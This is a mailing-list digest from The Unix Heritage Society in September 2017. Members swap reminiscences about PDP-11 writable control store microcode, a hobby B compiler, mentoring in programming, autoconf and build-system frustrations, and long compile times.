Date: Fri, 15 Sep 2017 08:44:26 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
Message-ID: <CAC20D2PTwQ9jK_qt7ws60iRGd6qkUdY83BOLP7FixkxsUnqPAw@mail.gmail.com>

CMU/CS implemented CSAV and CRET on the 11/40e (6th edition++).  IMO - it
was a mixed bag.  I've forgotten the statistics, it was a few ticks fasters
for saving the registers, which was good.   The primary thing it did was
save a small amount of address space on the non-I/D 40  - which was helpful
for applications as they got larger and were running out of address
space...... But it was PITA in practice because it meant that binaries
compiled on IUS and SUS (the UNIX two systems in CS), would not run
anywhere else on campus which were mostly 11/34 or later 11/34A's and it a
networked environment (which we were just starting to create) the seams
tended to show a little more than we would have liked.

IIRC I eventually got a emulator working at Mellon Institute and EE systems
so they binaries would not core dump, but we just recompiled we ran into
them.

The real solution to address space issue was when DEC released the 11/44
which was separate I/D (11/70 class) and the thunk work that we did in
2.9BSD in trying to move 4.1/4.2 code to the 11.

FYI:  Danny Klein and I should have the compiler somewhere (and the
microcode) is I ever get my CMU archives off tape.  It's on my list of
things to look for.

Clem



On Thu, Sep 14, 2017 at 11:59 PM, Dave Horsfall <dave at horsfall.org> wrote:

> On Thu, 14 Sep 2017, Noel Chiappa wrote:
>
> Interesting factoid: The PDP-11 initially used a threaded FORTRAN
>> implementation. In line with the observation above (about a new virtual
>> machine), DEC actually looked into writing microcode for the -11/60 (which
>> had a writeable control store) to implement the FORTRAN virtual machine.
>>
>
> Did anyone actually use the WCS?  I had visions of implementing CSAV and
> CRET on our -60, but never did get around to it.  Too late now...
>
> --
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> suffer."
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/e6e59abe/attachment.html>

From clemc at ccc.com  Fri Sep 15 23:03:20 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 15 Sep 2017 09:03:20 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2PTwQ9jK_qt7ws60iRGd6qkUdY83BOLP7FixkxsUnqPAw@mail.gmail.com>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
 <CAC20D2PTwQ9jK_qt7ws60iRGd6qkUdY83BOLP7FixkxsUnqPAw@mail.gmail.com>
Message-ID: <CAC20D2PLcXT2dRY2FHP9J9ROb_8hRCcARt7fMK72kpX3DctadA@mail.gmail.com>

Also, in my Tektronix archives... we had an 11/60 with WSC and IIRC Steve
Glaser took a stab at moving the CMU stuff. The microengines between the
11/40 and 11/60 were different, so the code had to be rewritten. A big
issue, again IIRC, was the microcode compiler/tools for the WSC ran on RSX
so it meant UNIX was not running, which was not popular.

But around the same time, unexpected our group had the chance to get an
fairly loaded cast off seperate I/D based 11/70 which had been running
RSTS/Cobol for a business support team in sales.    By the time, Steve got
anything working on the 11/60, I had the 11/70 (aka "teklabs") up and
installed; and I don't remember what happened to the WSC stuff; since we
had better solution to small address space problem of adding a '17th
address bit' with hardware.

Clem

Clem

On Fri, Sep 15, 2017 at 8:44 AM, Clem Cole <clemc at ccc.com> wrote:

> CMU/CS implemented CSAV and CRET on the 11/40e (6th edition++).  IMO - it
> was a mixed bag.  I've forgotten the statistics, it was a few ticks fasters
> for saving the registers, which was good.   The primary thing it did was
> save a small amount of address space on the non-I/D 40  - which was helpful
> for applications as they got larger and were running out of address
> space...... But it was PITA in practice because it meant that binaries
> compiled on IUS and SUS (the UNIX two systems in CS), would not run
> anywhere else on campus which were mostly 11/34 or later 11/34A's and it a
> networked environment (which we were just starting to create) the seams
> tended to show a little more than we would have liked.
>
> IIRC I eventually got a emulator working at Mellon Institute and EE
> systems so they binaries would not core dump, but we just recompiled we ran
> into them.
>
> The real solution to address space issue was when DEC released the 11/44
> which was separate I/D (11/70 class) and the thunk work that we did in
> 2.9BSD in trying to move 4.1/4.2 code to the 11.
>
> FYI:  Danny Klein and I should have the compiler somewhere (and the
> microcode) is I ever get my CMU archives off tape.  It's on my list of
> things to look for.
>
> Clem
>
>
>
> On Thu, Sep 14, 2017 at 11:59 PM, Dave Horsfall <dave at horsfall.org> wrote:
>
>> On Thu, 14 Sep 2017, Noel Chiappa wrote:
>>
>> Interesting factoid: The PDP-11 initially used a threaded FORTRAN
>>> implementation. In line with the observation above (about a new virtual
>>> machine), DEC actually looked into writing microcode for the -11/60 (which
>>> had a writeable control store) to implement the FORTRAN virtual machine.
>>>
>>
>> Did anyone actually use the WCS?  I had visions of implementing CSAV and
>> CRET on our -60, but never did get around to it.  Too late now...
>>
>> --
>> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
>> suffer."
>>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/0da58f8d/attachment.html>

From clemc at ccc.com  Fri Sep 15 23:26:04 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 15 Sep 2017 09:26:04 -0400
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <d92047c5a36c6e72bd694322acb4ff33e3835f9f@webmail.yaccman.com>
References: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
 <d92047c5a36c6e72bd694322acb4ff33e3835f9f@webmail.yaccman.com>
Message-ID: <CAC20D2OYbqL-zygWsmpypo88k5scHWyn3=sjf=akwSp57eCNcA@mail.gmail.com>

below...

On Fri, Sep 15, 2017 at 1:42 AM, Steve Johnson <scj at yaccman.com> wrote:
>
>
> I guess I'm not so totally against guilds per se.
>
> ​Dan I hear you, but I think I agree with Steve here..​




>  Since I believe that programming (at least is a profession) is a service
> industry, I think that doesn't come naturally to a lot of otherwise bright
> people (including, I might add, me).
>
> ​Amen.. I think this is the key point, I was trying to make.  What I
called 'good taste' was being show examples.   Reading others code.
Thinking about a problem.    Think about simple, ugly CS problems and why
they are hard or ugly.  Your moral equiv of cleaning a few latrines.

​




>  Back when I was writing FORTRAN, I was working for a guy with very high
> standards who read my code and got me to comment or, more usually, rewrite
> all the obscure things I did.  He made the point that a good program never
> dies, and many people will read it and modify it and try to understand it,
> and it's almost a professional duty to make sure that you make this as easy
> as possible for them.
>
>  Amen
​ !!!   ​
I worked as an assembly programmer supporting TSS and York/APL when I first
broke in.
​  I had exactly the same experience.  Were as one of my friends did not.

I'll not name the person here because he's a good friend and many of you
know him.   But a one-time officemate of mine at start up and MIT grad​
were working on a system. And I was b*tching at him about something he had
written.   It was marvelous code, quite ingenious.   His comment was "Well
I only comment stuff I did not understand."


I look at him agast.   I said... "'Fred' you are on the smartest guys I
have ever known.  There is not much you don't understand.   Comment it for
us mortals please."

This was a lesson I was taught very early in my career (there are usually
spelling and grammar errors because of my dyslexia, but my comments are
usually parsable and understandable 40 years later - even by me).



>
> Maybe a guild is a bit too stuffy,
>
> ​Right - the image seems heavy weight, which is not what I intend.



> but being mentored by someone with their head screwed on straight, and
> consequently making a point to seek out excellent examples of the
> programming art and learn from them had a profound effect on my skill as a
> programmer and my career.
>
> ​Exactly!!!​

>
> I don't think I would have found this in a book or long midnight hours
> hacking away...
>
> ​And to those people that took the time to guide and teach me, I am
forever indebted. My hope is that I am able to pay them by helping the next
generation a small amount, and trying to keep their ideas and spirits alive
in those new programmers.  I hope the new programmers do continue to write
new things and extend the art, but as I said recognise, they do their work
the shoulders of some wonderful and great people starting with tools and
ideas that hopeful they understand they learned from those masters.

Only time will tell. ​


>
> Steve
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/c366af6a/attachment.html>

From lm at mcvoy.com  Sat Sep 16 00:04:50 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 15 Sep 2017 07:04:50 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <02b201d32dc3$9ebd11e0$dc3735a0$@ronnatalie.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <02b201d32dc3$9ebd11e0$dc3735a0$@ronnatalie.com>
Message-ID: <20170915140450.GD3272@mcvoy.com>

On Thu, Sep 14, 2017 at 09:40:27PM -0400, Ron Natalie wrote:
> 
> Frankly, I don't give a hoot about what the FSF or especially RMS cares
> about.   RMS used to show up at my house on a regular basis, and I spent
> time in the early FSF with some of the people I really respected other than
> RMS (like Len Tower).   RMS while condemning everybody else, cares little
> about other than himself and his sociopathically depraved views of the way
> the world should be.    And as Forrest Gump would say "Tha'ts all I have to
> say about that."

Amen.  Not a fan.


From dot at dotat.at  Sat Sep 16 00:16:38 2017
From: dot at dotat.at (Tony Finch)
Date: Fri, 15 Sep 2017 15:16:38 +0100
Subject: [TUHS] Rich's B compiler, was Re:  B Source Code
In-Reply-To: <CAC20D2PLcXT2dRY2FHP9J9ROb_8hRCcARt7fMK72kpX3DctadA@mail.gmail.com>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
 <CAC20D2PTwQ9jK_qt7ws60iRGd6qkUdY83BOLP7FixkxsUnqPAw@mail.gmail.com>
 <CAC20D2PLcXT2dRY2FHP9J9ROb_8hRCcARt7fMK72kpX3DctadA@mail.gmail.com>
Message-ID: <alpine.DEB.2.11.1709151507420.2628@grey.csi.cam.ac.uk>

I mentioned some of this list's discussions about overlays and threaded
code in the pub last night, and my friend Rich Wareham said that he had
implemented a B compiler as a fun project, using Python and LLVM.

I thought it might be of interest, so here's a link:
https://github.com/rjw57/rbc

The doc/pdf subdirectory includes copies of the reference documents Rich
used as a specification for B.

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Shannon, Rockall: Northerly 4 or 5, occasionally 6 at first in east. Moderate
or rough. Showers. Good.


From jnc at mercury.lcs.mit.edu  Sat Sep 16 01:21:02 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Fri, 15 Sep 2017 11:21:02 -0400 (EDT)
Subject: [TUHS] B Source Code
Message-ID: <20170915152102.3B83018C0A3@mercury.lcs.mit.edu>

    > From: Dave Horsfall

    > Did anyone actually use the WCS?

Well, the uassembler was a product for a while, so they must have..

    > I had visions of implementing CSAV and CRET on our -60, but never did
    > get around to it. 

I recently had the idea of programming them into an M792 ROM card (100nsec
access time); user programs couldn't have used it without burning a segment
(to map in the appropriate part of the I/O space), but it might have sped up
the kernel some (and it would have been trivial to add, once the card was
programmed - with a soldering iron - BTDT, BITD :-).

Haven't gotten to it yet - still looking for an M792 (I don't want to trash
any of my pre-programmed M792-xx's :-).


    > From: Clem Cole <clemc at ccc.com>

    > A big issue, again IIRC, was the microcode compiler/tools for the WSC
    > ran on RSX so it meant UNIX was not running, which was not popular.

Why not just write a Unix-native one? They aren't that much work - I created a
uassembler overnight (literally!) for the QSIC project Dave Bridgham and I
have been working on.

It's been improved a lot since the first version (e.g. the entire uengine
description is now read in from a config file, instead of being compiled in),
but that first version did work fine...

Or was the output format not documented?

	Noel


From steffen at sdaoden.eu  Sat Sep 16 03:42:28 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Fri, 15 Sep 2017 19:42:28 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <201709141944.v8EJisAw010768@freefriends.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
Message-ID: <20170915174228.S_Pyn%steffen@sdaoden.eu>

arnold at skeeve.com wrote:
 |Definitely getting off-topic here ...

Do not think so, my i386 had a 20 MB hard disc...

 |Steffen Nurpmeso <steffen at sdaoden.eu> wrote:
 |>|Libtool for sure. Autoconf is something you have to come to a negotiated
 |>|truce with and then it's OK. :-)
 |>
 |> I cannot seem to reach that state.  I see that the m4 directory of
 |> gawk v4.1.4 contains no less than 46 files with a total of 312 KB.
 |> On top of that the root directory contains some configure related
 |> files which sum up to about 500 KB.
 |
 |Gawk is light-weight compared to most projects that use gnulib (e.g,
 |grep).  Much of what you point out is boilerplate placed there by
 |the autotools.  The only file(s) I, as a developer, have to mess with
 |are the configure.ac files.
 |
 |> I do not know how much manual work was necessary for the files in
 |> m4,
 |
 |Once it's set up, you just ignore it, and update the files whenever

I only referred to its noise, not the comfort that it brings.

 |there's a new autoconf / automake / gettext / libtool release.

That update rate was quite high in the last years but seems to
have settled down again.  I became frustrated earlier, and stopped
to track many projects which no longer ship a pre-prepared
configure file via V-C-S, turning to tar bombs again.  That is
ugly, but having several versions of those tools around
concurrently to satisfy all those projects, no time.

 |I've been using autoconf since 1.x days, so I'm very used to it.
 |I also find it to be much less aggravation than CMake-based projects,
 |where if something craps out during the cmake run, you essentially
 |must wipe out the directory and re-extract the tarball to start over.

I do not know.  I once used perl for my configuration stuff, it
had to be available for OpenSSL anyway, and it was by default
installed on FreeBSD later on, anyway.  Also perl configures and
compiles out of the box on the Linux/BSD i had, and OpenSSL does
if there is perl.  So with vim which did not need anything i am
ready.

 |>  And when i look into the missing_d of gawk
 |> i cannot help to wonder what all that is for.
 |
 |Much of it is probably obsolete. Some things date back to the days
 |when some systems had strchr() and others had index()...

I hope it will be a fun project some day to port my stuff to elder
systems, before FreeBSD 4.7 / Solaris 9 / Linux 2.0.x.  Hopefully.
And i tend to write such simple functions my own anyway.  (I once
had the dream to end up with only me and the operating system, but
that is long gone.)

 |> But of course, what is the alternative?
 |
 |I don't see one. CMake doesn't really cut it for me.  For make
 |problems, port GNU Make; it's very portable, since it's one of the
 |base items for many GNU projects.
 |
 |I know it runs on Solaris 9.

Actually that made me kindly ignore the invalid definition of
UINTPTR_MAX and INTPTR_MAX on Solaris 5.9 and also replace a call
to iswblank(3) (i do not think it matters that much for now),
ending up with another credit of yours for the port to 5.9.
It was not about the make(1), actually, only /bin/sh we really
cannot afford but require /usr/xpg4/bin.  It was MAKEJOBS='-j X'
which resulted in -j being ignored and X standing alone and by
itself.  I never needed GNU make, the perl thing unrolled anything
and did not even use inference rules (in fact i did not understand
them back then.  And was not interested enough to learn!!
Terrible.)

 |> Plan9 shows an impressive beauty regarding this topic, but it, of
 |> course, is exclusive to a current Plan9.
 |
 |No arguments there, but unfortunately, Plan 9 is a very self-contained
 |sandbox.  Few of us get to live there all the time.

It is on a descending branch, so to say.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From steffen at sdaoden.eu  Sat Sep 16 04:20:24 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Fri, 15 Sep 2017 20:20:24 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
Message-ID: <20170915182024.f3oX-%steffen@sdaoden.eu>

Dave Horsfall <dave at horsfall.org> wrote:
 |On Wed, 13 Sep 2017, Nemo wrote:
 |> Oh, I nearly wept when I read this.  Building a typical project nowadays 
 |> is so painful -- the makefile works on one particular Linux distro and 
 |> woe betide the rest.
 |
 |Ah, well I remember when "make" was first introduced (in PWB?); I thought
 |it was Christmas...
 |
 |Now, even it has to be modified for various platforms.
 |
 |Trivia: what does "make love" say on your system?  My Mac boringly says 
 |"make: *** No rule to make target `love'.  Stop." and the FreeBSD box 
 |isn't much better: "make: don't know how to make love. Stop".  I don't 
 |know what my Penguin laptop says because it's currently switched off.
 |
 |Sigh...

Schily make is even melodramatic and/or digital:

  ?1[steffen at wales tmp]$ smake love
  smake: Can't find any source for 'love'.
  smake: Couldn't make 'love'.
  ?1[steffen at wales tmp]$ 

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From paul.winalski at gmail.com  Sat Sep 16 04:37:14 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Fri, 15 Sep 2017 14:37:14 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170915182024.f3oX-%steffen@sdaoden.eu>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
 <20170915182024.f3oX-%steffen@sdaoden.eu>
Message-ID: <CABH=_VS7-FeOGQBo_idNMLs3PGB3_fW=ZiTYYpueU23ZxWmaFA@mail.gmail.com>

> Dave Horsfall <dave at horsfall.org> wrote:
>  |On Wed, 13 Sep 2017, Nemo wrote:
>  |
>  |Trivia: what does "make love" say on your system?

It says:

        Not war?

-Paul W.


From clemc at ccc.com  Sat Sep 16 04:47:54 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 15 Sep 2017 14:47:54 -0400
Subject: [TUHS] Writable Control Store and UNIX
Message-ID: <CAC20D2P2HOCapNSLjypzcjFLPuFBzJEJpBqP=cPJhOPiKBrMVg@mail.gmail.com>

On Fri, Sep 15, 2017 at 11:21 AM, Noel Chiappa <jnc at mercury.lcs.mit.edu>
wrote:
>
>
> Why not just write a Unix-native one? They aren't that much work - I
> created a
> ​ ​
> uassembler overnight (literally!) for the QSIC project Dave Bridgham and I
> ​ ​
> have been working on.

​Agreed Terry Hayes, tjt and I hacked an assembler and loader for Masscomp
together years ago pretty fast.   We actually, made all those tools look a
lot like the DEC ones because a lot of same HW people were writing the
uCode for the Masscomp FP/APs as had written the much of the 11 and Vax
code​.

[Fun story, that a few other tools that had been written for UNIX that
patriots older RSX/VMS support tools were quietly traded to DEC WRL for
some HW libraries.   We both were using the same brand CAD system and our
HW guys wanted some design rule stuff WRL had done for Jupiter, and they
wanted UNIX based tools to run on Ultrix].

As for Tektronix earlier, we did not know much about the WSC unit and
basically the CSAV/CRET stuff was supposed to be a one shot thing.    We
just wanted to use the tool that came with it; cause we did not think we
were going to do much with it.   In hind sight and knowing what I would
learn 3-5 years later, writing our own would have made more sense; but I'm
not sure it was very well documented.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/78d4a25e/attachment.html>

From torek at torek.net  Sat Sep 16 05:01:07 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 15 Sep 2017 12:01:07 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: Your message of "Thu, 14 Sep 2017 17:04:35 -0600."
 <CANCZdfraZrTsOkWM9oC+WC3N_28q=XJjGD8Az9guDiehyppTDQ@mail.gmail.com>
Message-ID: <201709151901.v8FJ17Z2025666@elf.torek.net>

>My DEC Rainbow running Venix (v7 port) takes about 15 hours to build the
>bits of the v7 tree that build on it.

In the spirit of complaining about compile times :-) ... I like to
build my freebsd ports tree from source.  Every time webkit2 needs
an update, my box (which I admit is no longer super-fast, but is
not exactly slow either) takes well over three hours to grind
through it, using all eight cores.  (I never timed it, I always
just left it to its own devices after a while.)

Much of this can be blamed on the complexity of compiling C++
in general (the "best type" matching rules are not simple).

Chris


From torek at torek.net  Sat Sep 16 05:10:18 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 15 Sep 2017 12:10:18 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: Your message of "Thu, 14 Sep 2017 22:42:55 -0700."
 <d92047c5a36c6e72bd694322acb4ff33e3835f9f@webmail.yaccman.com>
Message-ID: <201709151910.v8FJAIuv025809@elf.torek.net>

>... He made the point that a good program never dies, and many
>people will read it and modify it and try to understand it, and
>it's almost a professional duty to make sure that you
>make this as easy as possible for them.  

This is true of many good programs.

On the other hand, many programs are not good programs.  And it
winds up being true of many bad programs too. :-)

>Maybe a guild is a bit too stuffy, but being mentored by someone
>with their head screwed on straight, and consequently making a
>point to seek out excellent examples of the programming art and
>learn from them had a profound effect on my skill as a programmer
>and my career.

>I don't think I would have found this in a book or long midnight
>hours hacking away...

I'm not so sure: I learned some of this myself when working on my
Z80 assembler written in (some Microsoft variant of) BASIC.
Because it was such a terrible language, I had to keep a master
"notes" table giving each subroutine's line numbers, input
variables, and output variables (no call-by-anything in BASIC so I
had to stuff a register name like "BC" "DE" "HL" "IX" "IY" into
one global variable, "GOSUB 10100", and take the result back in
more global variables).

Nonetheless, it's true that seeing / recognizing "good" vs "bad"
software is a valuable pattern matching skill.  As with all such
things, the best trick I've ever discovered is not just to learn
from my own mistakes, but to learn from *other people*'s mistakes
too!

Chris


From paul.winalski at gmail.com  Sat Sep 16 05:19:34 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Fri, 15 Sep 2017 15:19:34 -0400
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <201709151910.v8FJAIuv025809@elf.torek.net>
References: <d92047c5a36c6e72bd694322acb4ff33e3835f9f@webmail.yaccman.com>
 <201709151910.v8FJAIuv025809@elf.torek.net>
Message-ID: <CABH=_VR5RJGxBmP1Y5tQe5Vg4XYp3wjSCfbm2_vLsa5H1+t-VA@mail.gmail.com>

>>Maybe a guild is a bit too stuffy, but being mentored by someone
>>with their head screwed on straight, and consequently making a
>>point to seek out excellent examples of the programming art and
>>learn from them had a profound effect on my skill as a programmer
>>and my career.

Mine, too.  In grad school in 1976 I learned Computer Science, not the
art of Software Engineering.  The latter I learned from my project
leaders and supervisors at my first job at DEC.

-Paul W.


From lyndon at orthanc.ca  Sat Sep 16 05:50:13 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Fri, 15 Sep 2017 12:50:13 -0700 (PDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709151901.v8FJ17Z2025666@elf.torek.net>
References: <201709151901.v8FJ17Z2025666@elf.torek.net>
Message-ID: <alpine.BSF.2.21.1709151248350.70568@orthanc.ca>

> In the spirit of complaining about compile times :-) ... I like to
> build my freebsd ports tree from source.  Every time webkit2 needs
> an update, my box (which I admit is no longer super-fast, but is
> not exactly slow either) takes well over three hours to grind
> through it, using all eight cores.  (I never timed it, I always
> just left it to its own devices after a while.)

Forget ports!  /usr/src is bad enough.  Running buildworld, it takes 
longer to build the flippin' compilers (llvm) than it does to build the 
entire rest of the OS.  This is not progress.

--lyndon



From rminnich at gmail.com  Sat Sep 16 05:56:05 2017
From: rminnich at gmail.com (ron minnich)
Date: Fri, 15 Sep 2017 19:56:05 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709151248350.70568@orthanc.ca>
References: <201709151901.v8FJ17Z2025666@elf.torek.net>
 <alpine.BSF.2.21.1709151248350.70568@orthanc.ca>
Message-ID: <CAP6exYLj_TXC4aOtT3xfHhr5jf600FSpni_9PCtmwZf06hqLbg@mail.gmail.com>

huh. Time to build all of plan 9 -- libraries, commands, windowing system,
all kernels -- was always a few minutes. It was really annoying -- people
just assumed there
was not much capability there because it took less time to build than to
run an autoconf on GNU tools :-)

I wonder what Ken was doing wrong?

(fwiw, the Ken C compilers were a wonder -- they did not link against the C
library, they just made the system calls directly, malloc was defined to
brk(), and there was no free() -- and the code is tiny)

It's nice to see the kenc spirit still alive in the Go toolchain --
although that makes sense, since the up through 1.4 or so the go toolchain
was derived from ken c :-)

ron

On Fri, Sep 15, 2017 at 12:50 PM Lyndon Nerenberg <lyndon at orthanc.ca> wrote:

> > In the spirit of complaining about compile times :-) ... I like to
> > build my freebsd ports tree from source.  Every time webkit2 needs
> > an update, my box (which I admit is no longer super-fast, but is
> > not exactly slow either) takes well over three hours to grind
> > through it, using all eight cores.  (I never timed it, I always
> > just left it to its own devices after a while.)
>
> Forget ports!  /usr/src is bad enough.  Running buildworld, it takes
> longer to build the flippin' compilers (llvm) than it does to build the
> entire rest of the OS.  This is not progress.
>
> --lyndon
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/76ca31b7/attachment.html>

From torek at torek.net  Sat Sep 16 06:34:34 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 15 Sep 2017 13:34:34 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: Your message of "Fri, 15 Sep 2017 12:50:13 -0700."
 <alpine.BSF.2.21.1709151248350.70568@orthanc.ca>
Message-ID: <201709152034.v8FKYY0f026262@elf.torek.net>

>Forget ports!  /usr/src is bad enough.  Running buildworld, it takes 
>longer to build the flippin' compilers (llvm) than it does to build the 
>entire rest of the OS.  This is not progress.

Common thread: LLVM is written in C++.

(Also, at some point during compilation, at least some versions
grow quite big, using 20 GB of RAM or whatever.  And C++ is hard
on the linkers as well...)

Chris


From lm at mcvoy.com  Sat Sep 16 13:33:47 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 15 Sep 2017 20:33:47 -0700
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
 <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
 <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
Message-ID: <20170916033347.GM3272@mcvoy.com>

+1.  BitKeeper runs on a ton of platforms and we have no love nor no
need for autoconf.  

On Thu, Sep 14, 2017 at 04:32:41PM -0400, Ron Natalie wrote:
> Autoconf didn't originate with Gnu.   It was around longer than that
> (someone can probably remember, but I remember some of the netnews software
> using it long before RMS or LINUX got going).
> I always havd a lot of distatste for it.     I worked on portable software
> as well, everything form Unipress EMACS to BRL CAD to my own software
> products (we ran on, let me see if I can recall:   SUN both Solaris and the
> old SunOS4, Stellar, Ardent, HP (both architectures), Apollo, SGI (various
> levels), DEC MIPS, DEC ALPHA, RS6000, iTanium, i8t0 (several flavors), the
> 80x86 in many flavors, Intergraph 32032, Intergraph Clipper...
> 
> We were always able to disttill the portability information into a single
> set of include files, one conf.h and one included for each platform.    Most
> of the grief came from people with various ideas on how to do 64 bit seeks
> and of all things (thankfully we got away from this) stty/ioctl.
> 
> I never had to resort to a script to set things up.   Reading down through
> conf.h told me what my options were and it didn't take long to set things
> up.
> 
> I also ported/wrote X11 servers for four or five systems (including writing
> my own CFB24 before MIT released theres).    iMake worked pretty well,
> though since it relied on the C prepropcessor and the exacxt format of the C
> preprocessor output really isn't defined for white space, it sometimes was a
> problem.    Eventually, we picked up CMAKE though I don't particularly like
> that one either.

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From lm at mcvoy.com  Sat Sep 16 13:34:42 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 15 Sep 2017 20:34:42 -0700
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <201709142100.v8EL05mL005253@elf.torek.net>
References: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
 <201709142100.v8EL05mL005253@elf.torek.net>
Message-ID: <20170916033442.GN3272@mcvoy.com>

On Thu, Sep 14, 2017 at 02:00:05PM -0700, Chris Torek wrote:
> "Congratulations!  You're not running Eunice."

Heh, I remember that :)  And I ran on Eunice back in the day.


From lm at mcvoy.com  Sat Sep 16 13:40:32 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 15 Sep 2017 20:40:32 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
